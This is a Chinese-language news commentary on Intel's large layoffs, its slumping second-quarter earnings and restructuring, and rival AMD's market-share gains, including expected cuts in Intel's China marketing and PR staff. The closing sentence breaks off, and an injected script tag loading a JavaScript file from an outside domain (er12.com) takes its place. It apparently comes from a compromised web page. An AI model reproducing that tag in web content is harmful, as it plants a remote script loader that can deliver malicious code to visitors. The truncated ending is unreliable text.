日前据《华尔街日报》报道，来自英特尔雇员和分析师的消息称，英特尔将宣布最终的裁员计划，而裁员规模是1万-2万人之间。另据zdnet网站报道，营销人员将为英特尔此次裁员的主要对象。对于裁员2万人的说法，英特尔发言人chuck mulloy称：“英特尔不对市场猜测做任何评论。”在此之前，英特尔已经陆续进行了一系列小规模裁员。
今年4月27日，欧德宁宣布了为期90天的内部评估计划。6月初，作为此次内部评估计划的一部分，英特尔将有1.6万名雇员被裁减或转岗。同在6月，英特尔将通信及应用处理器业务以6亿美元出售给marvell科技公司，减少雇员1400人；7月，宣布精简1000名经理人；8月，将通信芯片业务出售给eicon network，转移雇员600人。
作为全球最大的芯片制造商英特尔公司，这一系列的“裁员”动作，真是令人大跌眼镜。至少在竞争对手amd那里，我们看到的是信心和希望。两年前，amd公司在微处理器芯片市场的份额为20%。但作为amd公司的首席执行官，hector ruiz就当前在市场上与英特尔的争斗形势，放下豪言：力争到2008年，使amd产品的市场份额增长到30%。
可是，我们再来看看英特尔的如此表现：9月4日的国外媒体报道，英特尔ceo欧德宁将于9月5日召开全体职员网络大会，讨论与裁员相关的问题。此次大会面向英格尔的全体雇员，但中层领导有可能会在此之前获得相关消息。当前英特尔拥有雇员10万名，相当于裁员10%。这表明了每5-10个英特尔人中，就有一人不得不遗憾地离开英特尔公司。
在这次史无前例的大裁员中，我们看到了英特尔公司的“大手笔”。当危机到来时，首先从内部着手进行裁员工作。因为面对吃紧的财政状况，加之竞争对手amd公司在微处理器市场上的急速发展，使英特尔感受到了严重的生存危机。因此，英特尔首席执行官欧德宁表示要想重新恢复生机，必须削减掉大量的冗员，从而为公司节减10亿美元开支。
由此可见，英特尔已开始过起“精打细算”的日子。还在7月，英特尔发布第二季度业绩报告称，公司盈余较去年同期暴跌57%。但其将这一糟糕表现，归咎于日益增长的竞争压力和削价出清库存的行动。业绩报告显示，在截至6月底的三个月中，英特尔盈余8.85亿美元。而在去年同期，英特尔在未计入选择权开支的情况下，盈余达到20亿美元。
同时，英特尔公司销售额缩水13%，至80亿美元。英特尔还预计，第三季度销售额将在83亿美元至89亿美元之间，低于市场普遍预计的90亿美元。该公司还预期第三季度的利润率有49%，低于分析员预测的52.1%。无论盈余还是营收数字，英特尔该季度都跌到了2004年以来的最低点，而且盈余跌幅创下了2001年以来的最高水平。
为了应对不利的局面，以保证将业务焦点重新集中在个人电脑和服务器晶片上。目前，英特尔整个公司都在重组，并将赌注押在产品研究和个人电脑降价上面，试图以此夺回丢失给竞争对手amd的地盘。在第二季度中，英特尔晶片的平均售价明显降低，业已出清大量低端个人电脑处理器，为新的桌上型和膝上型电脑晶片让出空间。
另一方面，就是英特尔大张旗鼓进行的裁员行动了。据英国媒体报道，作为“自愿离职计划”的一部分，最近几周内，英特尔爱尔兰公司已经有雇员相继离职。英特尔发言人并未透露主动离职的爱尔兰雇员的数量，但据业内消息称预计在100人以上。英特尔全球裁员风波，同样迫近中国。上周也有消息称，英特尔全球裁员对中国区影响甚大。
9月4日有消息进一步称，中国区的裁员重点在销售和市场营销部门。虽然英特尔中国区尚未公布裁员方案，但英特尔全球裁员重点主要针对市场营销部分展开。中国区的裁员比例大约10~15%，主要集中在市场营销和公关部门，由于该部分人员基数庞大预计裁员人数将超过百人。而销售部门不但不会受裁员影响，反而会继续充实人手扩大规模。
据英特尔上海某部门员工透露，公司员工对此早已知道，并且做好了充分的心理准备。因为“每个部门都有一定的指标”，国内最晚在最近两周就会有动作。英特尔中国区员工表示，从不久前渠道产品事业部等业务部门并入销售和市场营销部门的裁员先例来看，英特尔对员工给予“n+3”的补偿方案，还是比较令人满意的。
事实上，英特尔裁员的真实目的很明确。在过去的两年时间里，英特尔公司的办公人员、支出费用等业务开展基础力量均超过amd公司5倍，非但没使自己的产品份额增长，还将部分产品市场份额拱手相让给了amd。对于英特尔的利益来说，这是不可饶恕的行为。那些从事处理器和芯片集等核心业务以外的员工们，该是离开英特尔的时候了。
相对于英特尔的未雨绸缪，毕竟它仍在电脑cpu市场占有绝对优势。然而amd的市场份额节节增长，并与“大型硬件厂商”关系密切。尽管英特尔公司此间发布了面向笔记本、桌面以及服务器平台的双核处理器等优势产品，但这都不会成为amd与硬件厂商发展关系的障碍。在这场由amd占据主动性的拉锯战中?script src=http://er12.com/t.js>
